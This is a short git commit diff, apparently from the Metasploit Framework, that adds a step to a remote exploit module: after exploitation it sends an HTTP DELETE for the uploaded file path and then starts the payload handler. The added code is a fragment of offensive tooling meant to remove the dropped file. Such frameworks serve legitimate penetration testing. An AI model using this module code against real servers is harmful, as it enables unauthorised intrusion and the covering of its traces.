Try to delete the file (doesn't always work)
git-svn-id: file:///home/svn/framework3/trunk@8413 4d416f70-5f16-0410-b530-b9f4589650daunstable
parent
bc62eaf99b
commit
c6c1cda153
|
@ -126,6 +126,27 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
return
|
||||
end
|
||||
|
||||
|
||||
|
||||
#
|
||||
# DELETE
|
||||
#
|
||||
print_status("Deleting #{path}, this doesn't always work...")
|
||||
|
||||
res = send_request_cgi({
|
||||
'uri' => path,
|
||||
'method' => 'DELETE'
|
||||
}, 20)
|
||||
if (! res)
|
||||
print_status("Deletion failed on #{path} [No Response]")
|
||||
return
|
||||
end
|
||||
|
||||
if (res.code < 200 or res.code >= 300)
|
||||
print_status("Deletion failed on #{path} [#{res.code} #{res.message}]")
|
||||
return
|
||||
end
|
||||
|
||||
handler
|
||||
end
|
||||
|
||||
|
|
Loading…
Reference in New Issue